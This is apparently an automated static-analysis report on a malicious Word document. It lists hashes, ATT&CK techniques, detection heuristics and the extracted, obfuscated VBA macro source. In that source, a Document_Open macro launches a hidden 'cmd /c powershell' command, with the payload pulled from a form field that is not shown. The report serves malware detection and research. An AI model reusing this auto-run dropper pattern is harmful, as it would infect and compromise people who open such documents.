Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c6796b94a8c48ee8…

MALICIOUS

Office (OLE)

116.5 KB Created: 2019-01-28 20:05:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 6dff997209567cb70582e07a549e23cb SHA-1: f2ebca5571de3485420d1f513c723ce0912cacf6 SHA-256: c6796b94a8c48ee82d49f0a3916803905f7821a6dc0a2fa76344c465d3327800
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function to execute cmd.exe. The script constructs the command 'c:\windows\system32\cmd /c powershell', indicating an intent to download and execute a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-6836925-0' further supports its malicious nature as a dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6836925-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6836925-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1977 bytes
SHA-256: 3d90caa9d010a4697fdc19ce21d58e5391c85c9b7684be71a49fe8eb32a1ddda
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
Dim LnCrUai(6 To 36) As String
LnCrUai(6) = "eNnWbPBhs"


Dim Rs7i4aj8 As Long
Rs7i4aj8 = (16082 - 16081) * (63)
Dim yaZBUDfQ
yaZBUDfQ = r85Rucqw
x
End Sub
Public Sub sh(TFaoiDu As String, t2dIsxY As Integer)
Dim bj9qMtu As Long
bj9qMtu = (-560 + 564) * (45)
Dim JuX6nQC
JuX6nQC = Y7cqHV
Dim xD8ZOE1A As Long
xD8ZOE1A = (-783 + 808) * (18)

End Sub

Attribute VB_Name = "XtMSi"
Sub x()
Dim jYM93p(13 To 163) As Long
jYM93p(13) = 101 + 90
Dim C9fEDh7(13 To 163) As Long
C9fEDh7(13) = 101 + 90
Dim N5Hxom8 As Long
N5Hxom8 = (514 - 495) * (53)
Dim r1qK6 As Long
r1qK6 = (22848 / 714) * (45)
jYIROEq = "c:\\win"
USsv4Y = "dows\\system"
JPUh78d = "32\\cmd /c po"
Dim N5ZCuDvx() As Byte
Dim NXzgSEat
NXzgSEat = CbEtW
Call VBA.Shell(jYIROEq & USsv4Y & JPUh78d & "w" & _
vc4yreGWv, 0)
Dim myML9() As Byte
Dim TS7IjeTc As Long
TS7IjeTc = (1327 - 1315) * (28)
End Sub

Attribute VB_Name = "OsYROMwn"
Public Function a0irpmNWS(FRFjuS3 As Integer)
Dim RjQPwMW2 As Long
RjQPwMW2 = (411 - 385) * (61)
Dim heV7rb As Long
heV7rb = (411 - 385) * (61)
Dim Gu9w8HI As Long
Gu9w8HI = (817 - 786) * (20)
End Function

Attribute VB_Name = "IajSGN9"
Public Function vc4yreGWv()
Dim IveQY As Object
Set IveQY = New f
Dim QgAEvSHP As String
QgAEvSHP = IveQY.de.Text
vc4yreGWv = QgAEvSHP
End Function

Attribute VB_Name = "f"
Attribute VB_Base = "0{188C7099-D740-4A74-9BAC-5D759BC91D26}{7AC613A7-6602-4B77-A99E-792CF9E727F0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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